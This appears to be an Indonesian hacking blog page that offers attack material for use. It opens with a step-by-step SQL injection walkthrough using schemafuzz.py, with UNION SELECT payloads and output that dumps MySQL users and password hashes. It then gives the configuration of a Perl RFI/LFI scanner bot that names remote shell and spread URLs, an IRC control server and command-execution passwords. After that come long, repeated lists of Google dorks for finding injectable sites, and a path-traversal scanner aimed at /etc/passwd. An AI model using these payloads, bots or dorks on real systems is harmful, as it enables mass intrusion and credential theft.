./schemafuzz.py -u “http://127.0.0.1/site/phpweb/forum.php?forum=1″ –findcol
diperoleh seperti ini
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1–
[+] Evasion Used: “+” “–”
[+] 01:32:04
[+] Proxy Not Given
[+] Attempting To find the number of columns…
[+] Testing: 0,1,2,3,4,5,
[+] Column Length is: 6
[+] Found null column at column #: 1
[+] SQLi URL: http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,1,2,3,4,5–
[+] darkc0de URL: http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5
[-] Done!
langkah kedua
————–
setelah ketemu kita masukkan copy yang darkc0de URL jadi seperti ini
./schemafuzz.py -u “http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″ –fuzz
diperoleh seperti ini
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–
[+] Evasion Used: “+” “–”
[+] 01:37:09
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: webthings
User: testing@localhost
Version: 5.0.51a
[+] Number of tables names to be fuzzed: 354
[+] Number of column names to be fuzzed: 263
[+] Searching for tables and columns…
[+] Found a table called: mysql.user
[+] Now searching for columns inside table “mysql.user”
[!] Found a column called:user
[!] Found a column called:password
[-] Done searching inside table “mysql.user” for columns!
[-] [01:37:48]
[-] Total URL Requests 618
[-] Done
langkah ketiga
—————
Setelah kita temukan nama databasenya trus kita lanjutkan kelangkah berikutnya
./schemafuzz.py -u “http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″ –schema -D namadatabasenya
./schemafuzz.py -u “http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″ –schema -D webthings
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–
[+] Evasion Used: “+” “–”
[+] 01:43:11
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: webthings
User: testing@localhost
Version: 5.0.51a
[+] Showing Tables & Columns from database “webthings”
[+] Number of Tables: 33
[Database]: webthings
[Table: Columns]
[0]wt_articles: cod,article_id,subtitle,page,text,text_ori,htmlarticle,views
[1]wt_articles_title: article_id,category,title,active,date,userid,views
[2]wt_articlescat: cod,category
[3]wt_banners: cod,name,active,image,url_image,url,code,views,clicks,periode,start_date,end_date
[4]wt_banners_log: banner,date,views,clicks,sessions
[5]wt_banners_rawlog: banner,type,date,session
[6]wt_centerboxes: cod,pos,active,oneverypage,menuoption,title,content,file,type,draw_box
[7]wt_comments: cod,type,link,date,userid,comment
[8]wt_config: id,config
[9]wt_downloads: id,category,name,active,url,date,size,count,rate_sum,rate_count,short_description,description,small_picture,big_picture,
author_name,author_email,comments,url_screenshot,license,license_text
[10]wt_downloadscat: cod,ref,name,descr
[11]wt_faq: cod,topic,uid,active,question_ori,question,answer_ori,answer
[12]wt_faq_topics: cod,name
[13]wt_forum_log_topics: uid,msgid,logtime,notifysent
[14]wt_forum_msgs: cod,forum,msg_ref,date,userid,title,text_ori,date_der,views,closed,sticky,modifiedtime,modifiedname,notifies
[15]wt_forums: cod,title,descr,locked,notifies,register
[16]wt_forums_mod: forum,userid,type
[17]wt_guestbook: id,datum,naam,email,homepage,plaats,tekst
[18]wt_links: id,category,active,name,url,count,descr,obs
[19]wt_linkscat: cod,name,descr,parent_id
[20]wt_menu: id,pos,title,url,type,newwindow,lang
[21]wt_news: cod,lang,category,catimgpos,date,title,userid,image,align,active,counter,text,text_ori,full_text,
full_text_ori,archived,sidebox,sideboxtitle,sideboxpos
[22]wt_newscat: cod,name,image
[23]wt_online: id,time,uid
[24]wt_picofday: id,category,userid,small_picture,big_picture,description,full_description,views,clicks
[25]wt_picofdaycat: id,name,description
[26]wt_picofdaysel: date,picture_id,views,clicks
[27]wt_polls: cod,dtstart,dtend,question,item01,item02,item03,item04,item05,item06,item07,item08,item09,item10,
count01,count02,count03,count04,count05,count06,count07,count08,count09,count10
[28]wt_sideboxes: cod,pos,side,active,title,content,file,type,function,modules
[29]wt_user_access: userid,module
[30]wt_user_book: userid,cod_user
[31]wt_user_msgs: cod,userid,folder,date,user_from,title,msg_read,text,notify
[32]wt_users: uid,name,password,class,realname,email,question1,question2,url,receivenews,receiverel,country,
city,state,icq,aim,sex,session,active,comments,
newsposted,commentsposted,faqposted,topicsposted,dateregistered,dateactivated,lastvisit,logins,
newemail,newemailsess,avatar,lang,theme,signature,banned,msn,showemail
[-] [01:43:48]
[-] Total URL Requests 270
[-] Done
untuk mengetahui apakah kita bisa load_file dalam site tersebut gunakan perintah ini
./schemafuzz.py -u “http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″ –info
maka akan tampil seperti ini
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–
[+] Evasion Used: “+” “–”
[+] 01:46:51
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: webthings
User: testing@localhost
Version: 5.0.51a
[+] Do we have Access to MySQL Database: Yes <– w00t w00t
[!] http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,concat(user,0×3a,password),2,3,4,5+FROM+mysql.user–
[+] Do we have Access to Load_File: No
[-] [01:46:51]
[-] Total URL Requests 3
[-] Done
ternyata kita gak bisa load_file tapi bisa mengakses ke database mysqlnya hehehe
untuk mengetahui beberapa database yang terdapat pada site tersebut, kita gunakan perintah seperti ini
./schemafuzz.py -u “http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″ –dbs
akan tampil seperti ini
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–
[+] Evasion Used: “+” “–”
[+] 01:58:15
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: webthings
User: testing@localhost
Version: 5.0.51a
[+] Showing all databases current user has access too!
[+] Number of Databases: 1
[0] webthings
[-] [01:58:17]
[-] Total URL Requests 30
[-] Done
langkah selanjutnya
——————–
cara untuk menemukan user dan password
kita gunakan perintah –dump -D namadatabase -T namatabel -C namakolom
setelah kita menemukan nama database, nama tabel dan kolom tinggal kita masukkan perintah seperti ini
./schemafuzz.py -u “http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″ –dump -D webthing -T wt_users -C name,password
eing ing eng….
jreennnng….keluar deh user ama passwordnya
hasilnya dibawah ini
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–
[+] Evasion Used: “+” “–”
[+] 02:08:47
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: webthings
User: testing@localhost
Version: 5.0.51a
[+] Dumping data from database “webthings” Table “wt_users”
[+] Column(s) ['name', 'password']
[+] Number of Rows: 2
[0] admin:e00b29d5b34c3f78df09d45921c9ec47:
[1] user:098f6bcd4621d373cade4e832627b4f6:
[-] [02:08:48]
[-] Total URL Requests 4
[-] Done
jangan lupa kita selalu mengecek schemafuzzlog.txt nya
RFI & LFI scanner
***************************
AUTOR: arianom
DATE :Juli 2009
LINGUAGE: perl (.pl)
**************************
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
require LWP;
$|++;
#######################################################
## CONFIGURATION //
#######################################################
$auth = "arianom";
$authmail = "arianom\@live.it";
my $id = "http://nuthome.net/xe/idosyris.txt??";
my $shell = "http://www.soraperra.com/canazeiinforma/ssh.txt??";
my $ircd = "irc.gotakan.h4ck.la";
my $port = "6667";
my $chan1 = "#kill-9";
my $chan2 = "#kill-9";
my $nick = "RFI-NO[".int(rand(100))."]"; #Nick
my @admins = ("arianom");
my $sqlpidpr0c = 1; # This is the number of sites that the bot will test
in the same time. For an accurated scann, it's reccomended to set a low number(1)
# (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites.
Unless you will see the bot exiting by an excess flood!
# Instead, if you are scaning on old bugs, so not many results, you can put a higher
number, so more speed.
my $rfipidpr0c = 50;
### USEFULL OPTIONS ( 0 => OFF ; 1 => ON )
my $spread = "http://www.barcamenando.it/red.txt?";
my $spreadACT = 1; #1 ->disabled, 1 ->enabled
my $securityACT = 0; #1 ->disabled, 1 ->enabled
my $killpwd = "nolimit"; #Password to Kill the Bot
my $chidpwd = "nolimit"; #Password to change the RFI Response
my $cmdpwd = "nolimit"; #Password to execute commands on the server
my $secpwd = "nolimit"; #Passowrd to enable/disable the Security Mode
my $spreadpwd = "nolimit"; #Passowrd to enable/disable the Spread Mode
Download[lengkap + id]
AUTOR: arianom
DATE :Juli 2009
LINGUAGE: perl (.pl)
**************************
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
require LWP;
$|++;
#######################################################
## CONFIGURATION //
#######################################################
$auth = "arianom";
$authmail = "arianom\@live.it";
my $id = "http://nuthome.net/xe/idosyris.txt??";
my $shell = "http://www.soraperra.com/canazeiinforma/ssh.txt??";
my $ircd = "irc.gotakan.h4ck.la";
my $port = "6667";
my $chan1 = "#kill-9";
my $chan2 = "#kill-9";
my $nick = "RFI-NO[".int(rand(100))."]"; #Nick
my @admins = ("arianom");
my $sqlpidpr0c = 1; # This is the number of sites that the bot will test
in the same time. For an accurated scann, it's reccomended to set a low number(1)
# (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites.
Unless you will see the bot exiting by an excess flood!
# Instead, if you are scaning on old bugs, so not many results, you can put a higher
number, so more speed.
my $rfipidpr0c = 50;
### USEFULL OPTIONS ( 0 => OFF ; 1 => ON )
my $spread = "http://www.barcamenando.it/red.txt?";
my $spreadACT = 1; #1 ->disabled, 1 ->enabled
my $securityACT = 0; #1 ->disabled, 1 ->enabled
my $killpwd = "nolimit"; #Password to Kill the Bot
my $chidpwd = "nolimit"; #Password to change the RFI Response
my $cmdpwd = "nolimit"; #Password to execute commands on the server
my $secpwd = "nolimit"; #Passowrd to enable/disable the Security Mode
my $spreadpwd = "nolimit"; #Passowrd to enable/disable the Spread Mode
Download[lengkap + id]
bug SQLi
Nih buat nyari target yang di web nya ada bug SQLi
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:".php?id=1"
inurl:".php?cat=1"
inurl:".php?catid=1"
inurl:".php?num=1"
inurl:".php?bid=1"
inurl:".php?pid=1"
inurl:".php?nid=1"
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:".php?id=1"
inurl:".php?cat=1"
inurl:".php?catid=1"
inurl:".php?num=1"
inurl:".php?bid=1"
inurl:".php?pid=1"
inurl:".php?nid=1"
Another BUg SQL Injection
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
LFi Scanner v1.0
#!/usr/bin/perl
#######################################
# Apache Conf Scanner v1.0 #
# ReCoded by arianom #
# d00r[at]telkom[dot]net #
# Copyleft © 2009 VopCrew UnderGrounD #
#######################################
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
my $fakeproc = $ARGV[6];
$ircserver = $ARGV[0] unless $ircserver;
my $ircport = $ARGV[1];
my $nickname = $ARGV[2];
my $ident = $ARGV[3];
my $channel = '#'.$ARGV[4];
my $runner = $ARGV[5];
my $fullname = ' 15( 7@ 2Apache-Conf-Scanner 15) ';
my $lficmd = '!conf';
my $alicmd = '!logz';
my $status = 0;
my $null_byte = "";
my $trasversal = "../../../../../../../../../../../../../../../..";
my $lfi_test = "/etc/passwd";
my $lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
my $conf_output = "server configuration file";
my @httpd_conf = qw (
/etc/httpd/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/usr/local/etc/apache/httpd.conf
/usr/local/etc/httpd/httpd.conf
/etc/apache/conf/httpd.conf
/etc/apache2/conf/httpd.conf
/var/www/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
);
Download Link
NB:Cara Menggunakan gampang, ketik aja perl conf-scan.txt
nanti muncul pesan cara menggunakan yang benar di Kolom Shell
Selamat Mencoba!!
Subscribe to:
Posts (Atom)